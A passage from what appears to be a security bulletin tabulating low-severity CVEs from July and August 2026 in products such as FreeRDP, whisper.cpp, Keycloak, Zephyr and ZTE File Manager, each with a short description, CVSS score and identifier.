| EShare--ESharePro                                     | Successful exploitation of this vulnerability could allow an attacker with local network access to bypass the application's rate-limiting mechanism, enabling brute-forcing of the screen-sharing code and potentially displaying harmful content on the affected screen.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-28 | 3.3        | <a href="#">CVE-2026-55977</a> |

# Low Vulnerabilities

| Primary Vendor -- Product                   | Description                                                                                                                                                                                                                                                                                                                                                                                                     | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| FreeRDP--FreeRDP                            | FreeRDP before 3.29.0 contains an out-of-bounds heap read vulnerability in the UVC H.264 extension-unit parser that fails to validate descriptor length before accessing the GUID field. A local attacker with a malicious USB video camera can trigger a heap read beyond allocated bounds during camera stream setup, causing denial of service.                                                              | 2026-08-01 | 2.1        | <a href="#">CVE-2026-66401</a> |
| ggml-org--whisper.cpp                       | A vulnerability has been found in ggml-org whisper.cpp 1.8.4-58. This impacts the function log_mel_spectrogram of the file src/whisper.cpp. The manipulation leads to out-of-bounds read. The attack needs to be performed locally. The pull request to fix this issue awaits acceptance.                                                                                                                       | 2026-07-27 | 3.3        | <a href="#">CVE-2026-17512</a> |
| ggml-org--whisper.cpp                       | A vulnerability was found in ggml-org whisper.cpp 95ea8f9b. Affected is the function ggml_ftype_to_ggml_type of the file ggml/src/ggml.c. The manipulation of the argument ftype results in reachable assertion. The attack requires a local approach. The project was informed of the problem early through an issue report but has not responded yet.                                                         | 2026-07-27 | 3.3        | <a href="#">CVE-2026-17513</a> |
| GitLab--GitLab                              | GitLab has remediated an issue in GitLab CE/EE affecting all versions from 10.6 before 19.0.5, 19.1 before 19.1.3, and 19.2 before 19.2.1 that under certain conditions could have allowed an authenticated user with developer-role permissions to commit changes to a project after being removed as a member, due to improper authorization checks on merge request collaboration settings.                  | 2026-07-29 | 3.1        | <a href="#">CVE-2025-14562</a> |
| HCL Software--HCL iControl                  | HCL iControl was affected by Information Exposure Through Verbose Client-Side API Error Messages vulnerabilities. It involves application displays raw server/API error messages to users instead of generic error messages and exposes internal endpoint names, request parameters, error codes, and authentication status                                                                                     | 2026-07-31 | 3.7        | <a href="#">CVE-2026-56568</a> |
| HCL Software--HCL iControl                  | HCL iControl was affected by Auto complete Enabled vulnerabilities. It involves expose sensitive information such as: Valid usernames, Email addresses used for login, Account identifiers If the system is accessed from shared environments, attackers may enumerate valid usernames through browser suggestions.                                                                                             | 2026-07-31 | 3.7        | <a href="#">CVE-2026-56570</a> |
| HCL Software--HCL iControl                  | HCL iControl was affected by Improper Error Handling vulnerabilities. It involves Out of memory, null pointer exceptions, system call failure, database unavailable, network timeout, and hundreds of other common conditions can cause errors to be generated.                                                                                                                                                 | 2026-07-31 | 3.7        | <a href="#">CVE-2026-56571</a> |
| HCLSoftware--Connections                    | HCL Connections is vulnerable to information disclosure which could allow a user to obtain sensitive information they are not entitled to, caused by improper handling of request data.they are not entitled to, caused by improper handling of request data.                                                                                                                                                   | 2026-07-27 | 3.5        | <a href="#">CVE-2026-56537</a> |
| HCLSoftware--Connections                    | An endpoint in HCL Connections is vulnerable to information disclosure. In certain scenarios this might lead to disclosing sensitive information to unauthorized users.                                                                                                                                                                                                                                         | 2026-07-27 | 3.5        | <a href="#">CVE-2026-56538</a> |
| IBM--WebSphere Application Server - Liberty | IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.8 is vulnerable to cross-site request forgery which could allow an attacker to execute malicious and unauthorized actions transmitted from a user that the website trusts.                                                                                                                                                                   | 2026-07-29 | 3.1        | <a href="#">CVE-2026-2482</a>  |
| koxudaxi--datamodel-code-generator          | datamodel-code-generator generates Python data models from schema definitions. Prior to 0.63.0, src/datamodel_code_generator/http.py get_body reuses Authorization, Cookie, and Proxy-Authorization headers when following cross-origin redirects while fetching remote schemas, allowing credentials scoped to one schema host to be leaked to another redirect target. This issue is fixed in version 0.63.0. | 2026-07-28 | 3.7        | <a href="#">CVE-2026-55403</a> |
| papra-hq--papra                             | Papra is a minimalistic document management and archiving platform. Prior to version 26.5.0, Papra's webhook delivery system contains an SSRF protection bypass that allows any authenticated organisation member to cause the server to make HTTP requests to internal addresses - loopback, link-local, and RFC-1918 ranges. The SSRF protection validates the registered webhook URL but ignores             | 2026-07-27 | 3.5        | <a href="#">CVE-2026-48051</a> |



# Low Vulnerabilities

| Primary Vendor -- Product            | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                      | redirect destinations. The HTTP client (ofetch) follows 3xx responses automatically, and the redirect target is never checked against the blocklist. An attacker registers a webhook pointing to an attacker-controlled server, which redirects incoming POSTs to any internal address. Exploitation was confirmed by live test against the official Docker image. The fix is a single-line change to the webhook HTTP client. This issue has been patched in version 26.5.0.                                                                                                                                                                                                                                                                                  |            |            |                                |
| Red Hat--Red Hat Build of Keycloak   | A flaw was found in the keycloak-services component of Keycloak, which provides identity and access management services. The issue occurs when a realm administrator uses a wildcard domain (like *.example.com) to restrict which hosts can register or update clients. Due to improper validation, the system accepts any hostname that ends with the specified domain suffix, even if it is not a legitimate subdomain. An attacker who can control the reverse DNS of their connection can bypass these host-based restrictions, potentially allowing unauthorized client modifications.                                                                                                                                                                   | 2026-07-31 | 3.7        | <a href="#">CVE-2026-18206</a> |
| Red Hat--Red Hat Build of Keycloak   | A flaw was found in the keycloak-services component of Keycloak, which handles OpenID Connect (OIDC) authentication flows. The issue occurs because the security check designed to prevent HTTP parameter pollution only inspects the query portion of a redirect URL and ignores the fragment portion. When a client is configured with a wildcard redirect URI, an attacker can use this to inject duplicate security parameters into the login response. If a client application is not configured correctly, it might trust the attacker's injected data instead of the real security information from Keycloak, leading to session fixation or account confusion.                                                                                         | 2026-07-31 | 3.4        | <a href="#">CVE-2026-18209</a> |
| Red Hat--Red Hat Build of Keycloak   | A flaw was found in the SAML protocol implementation of Keycloak, an open-source identity and access management solution. The issue occurs when Keycloak handles SAML authentication requests using the HTTP-Redirect binding. If a client is configured with a wildcard redirect URL, an attacker can craft a request that includes malicious parameters. When a user authenticates, Keycloak appends its legitimate response to the attacker's parameters. This can cause some service providers to process the attacker's data instead of the real login information, potentially leading to a user being logged into the wrong account.                                                                                                                    | 2026-07-31 | 3.4        | <a href="#">CVE-2026-18217</a> |
| Red Hat--Red Hat Enterprise Linux 10 | A flaw was found in GStreamer's gst-plugins-good. A heap-based out-of-bounds read of 4 bytes can occur when parsing FLAC audio stream headers embedded in a Matroska or WebM container file. The vulnerability is triggered by a boundary check that does not account for the full size of the data being copied, allowing a small read past the end of the allocated buffer. An attacker could exploit this by crafting a malicious Matroska or WebM file and tricking a user into opening it, potentially leaking a small amount of adjacent heap memory.                                                                                                                                                                                                    | 2026-07-28 | 3.3        | <a href="#">CVE-2026-17072</a> |
| sigstore--sigstore-go                | sigstore-go is a Go library for Sigstore signing and verification. Prior to 1.2.1, sigstore-go does not check a bundle signing timestamp against the validity window of an ExpiringKey wrapping a self-managed long-lived signing key without a certificate, which can allow an attacker holding expired key material to sign accepted bundles. This issue is fixed in version 1.2.1.                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-31 | 3.1        | <a href="#">CVE-2026-54787</a> |
| Spring--Spring Tools for Eclipse     | The Spring Boot language server logs the raw value of the https_proxy/HTTPS_PROXY/http_proxy/HTTP_PROXY environment variable at INFO level whenever it creates an outbound HTTP client and no explicit http.proxy workspace setting is configured. Corporate proxy URLs frequently embed Basic-auth credentials in the form http://user:pass@proxy:8080, and the language server writes this value to its log file without any redaction. Since language server log files are often attached to bug reports or are readable by other local users/processes, this can result in disclosure of proxy credentials. Affected Spring Products and Versions: Spring Tools for Eclipse: 5.2.0 and earlier Spring Tools for VSCode / Cursor / Theia: 2.2.0 and earlier | 2026-07-30 | 3.3        | <a href="#">CVE-2026-59326</a> |

# Low Vulnerabilities

| Primary Vendor -- Product   | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Three Learning--Koollab LMS | An improper access control vulnerability in Koollab LMS allowed an unauthenticated attacker to forcibly terminate the session of any user given their email address via the login kickout endpoint, resulting in a denial of service.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-29 | 3.7        | <a href="#">CVE-2026-63235</a> |
| Three Learning--Koollab LMS | An improper access control vulnerability in Koollab LMS allowed an unauthenticated attacker to read another user's name, internal identifier, scores, lesson status, lesson position, and cached lesson state via the SCORM API endpoint.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-29 | 3.7        | <a href="#">CVE-2026-63236</a> |
| Three Learning--Koollab LMS | An insecure direct object reference vulnerability in Koollab LMS allowed an authenticated user to query the course completion progress of any other user without authorisation, disclosing private learning progress information.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-29 | 3.1        | <a href="#">CVE-2026-63241</a> |
| Three Learning--Koollab LMS | An unrestricted image upload vulnerability in Koollab LMS allowed an authenticated attacker to upload malicious content disguised as an image file via the feedback mail registration endpoint, potentially enabling further attacks on the server.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-29 | 2.6        | <a href="#">CVE-2026-63228</a> |
| tiny-http--tiny-http        | tiny-http through 0.12.0 contains an HTTP header injection vulnerability that allows attackers to inject carriage return (0x0D) and line feed (0x0A) bytes into HTTP header values on both request and response sides due to insufficient validation in header parsing and serialization. Attackers can exploit this injection primitive to perform response splitting, cache poisoning, session fixation via Set-Cookie injection, security header override, and request smuggling against line-feed-tolerant backends.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-28 | 3.7        | <a href="#">CVE-2026-66753</a> |
| TryGhost--Ghost-CLI         | Ghost CLI before 1.30.1 contains an IP spoofing vulnerability that allows unauthenticated remote attackers to bypass rate-limiting controls by manipulating the X-Forwarded-For header through a misconfigured Nginx configuration. Attackers can append attacker-controlled values to the header chain using the \$proxy_add_x_forwarded_for directive to present an arbitrary IP address, circumventing Ghost's rate-limiting mechanisms on self-hosted instances.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-31 | 3.7        | <a href="#">CVE-2026-25552</a> |
| VMware--Cloud Foundation    | VMware ESX contains an insufficient logging vulnerability. A malicious administrator could exploit this issue to perform certain operations without them being logged.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-30 | 2.7        | <a href="#">CVE-2026-41709</a> |
| zephyrproject--zephyr       | In subsys/debug/coredump/coredump_shell.c, print_coredump_hdr() used the 16-bit tgt_code field of a stored Zephyr coredump header directly as an index into coredump_target_code2str[], a fixed 7-element array of string pointers, with no bounds check. A stored coredump whose tgt_code is >= 7 causes an out-of-bounds read of a char* up to ~64K entries past the array; that value is passed as the %s argument to shell_print, which dereferences and walks it as a string. The result is either disclosure of device memory contents to the shell user or a crash when the out-of-bounds pointer is unmapped. The defect is reached via the coredump print shell command (cmd_coredump_print_stored_dump -> pretty_print_coredump -> parse_and_print_coredump -> print_coredump_hdr). The tgt_code field is device-generated and in-range during normal crash handling, so triggering requires local shell access plus the ability to stage or corrupt the stored coredump in the flash/in-memory backend. Introduced in v4.2.0 (commit 13abd7fe730) and present through v4.4.0; fixed by clamping out-of-range codes to the 'unknown' (index 0) entry. | 2026-07-29 | 3          | <a href="#">CVE-2026-10684</a> |
| zephyrproject--zephyr       | In the Synopsys DesignWare I2C driver (drivers/i2c/i2c_dw.c) operating in target/slave mode, the rx_full interrupt handler gates the write_requested() callback on dw->state != CMD_SEND, and dw->state is only reset to READY on a STOP interrupt. The START_DET interrupt, whose handler in i2c_dw_slave_read_clear_intr_bits() would reset the state on every (re)START, was never added to the enabled interrupt mask in i2c_dw_slave_register(), so that recovery path was dead code. As a result, if the STOP interrupt is lost (bus glitch/reset, or a concurrent master driving STOP) or the bus master issues a legal WRITE-repeated-START-WRITE sequence with the same direction, the driver                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-27 | 2.4        | <a href="#">CVE-2026-10683</a> |

# Low Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | remains in CMD_SEND permanently and never invokes write_requested() again for the life of the target. An I2C master on the same physical bus can deliberately trigger this, causing the I2C target function to malfunction for all subsequent write transactions and desynchronizing consumer framing state (e.g. MCTP-over-I2C), a recoverable-by-reset denial of service of the target peripheral. The fix unmask START_DET so the state is reset at every bus (re)START. Impact is availability-only over a local board-level bus; no memory corruption results in the in-tree consumer, whose per-byte buffer write is independently bounds-checked.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |            |            |                                |
| zephyrproject--zephyr     | Zephyr's Bluetooth Mesh subnet key management leaks one PSA Crypto key slot on every subnet-key teardown. In subsys/bluetooth/mesh/subnet.c, net_keys_create() imports the Private Beacon Key into a PSA key slot under CONFIG_BT_MESH_PRIV_BEACONS (enabled by default), but subnet_keys_destroy() guarded the matching psa_destroy_key() with CONFIG_BT_MESH_V1d1. That Kconfig symbol was removed when explicit Mesh 1.0.1 support was dropped, so the destroy branch became permanently dead code and the import is never balanced by a destroy. The imbalanced teardown is reached every time subnet keys are destroyed: deleting a subnet (Config Server NetKey Delete), completing a Key Refresh Procedure (which retires the old key set), and resetting/re-provisioning the node. The over-the-air triggers are processed only under the node's device key, so they are exercisable by the provisioner or network administrator that owns the node, reachable over the Bluetooth Mesh network. With the default CONFIG_MBEDTLS_PSA_KEY_SLOT_COUNT of 16, repeated add/delete or key-refresh cycles exhaust the shared PSA key-slot pool after roughly a dozen rounds. Once exhausted, bt_mesh_private_beacon_key() and thus subnet creation fail: the node can no longer add subnets or complete key refresh, and other PSA crypto consumers on the device may be starved, until the device is rebooted. The fix aligns the destroy guard with the import guard (CONFIG_BT_MESH_PRIV_BEACONS) so each slot is freed. | 2026-08-02 | 2.4        | <a href="#">CVE-2026-10774</a> |
| ZTE--Blade A75 5G         | The Activity zte.com.cn.filer/zte.com.cn.filer.FilePreViewActivity within ZTE File Manager is designed to preview compressed files. Third-party applications can launch this Activity and supply arbitrary file paths (e.g., content://zte.com.cn.filer.fileprovider/root_path), enabling file access with the privilege level of ZTE File Manager. This allows unrooted devices to read files under certain system directories such as /data/data and /data/local/tmp. If access restrictions do not block untrusted applications, additional directories may also be accessible.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-27 | 1.8        | <a href="#">CVE-2026-40000</a> |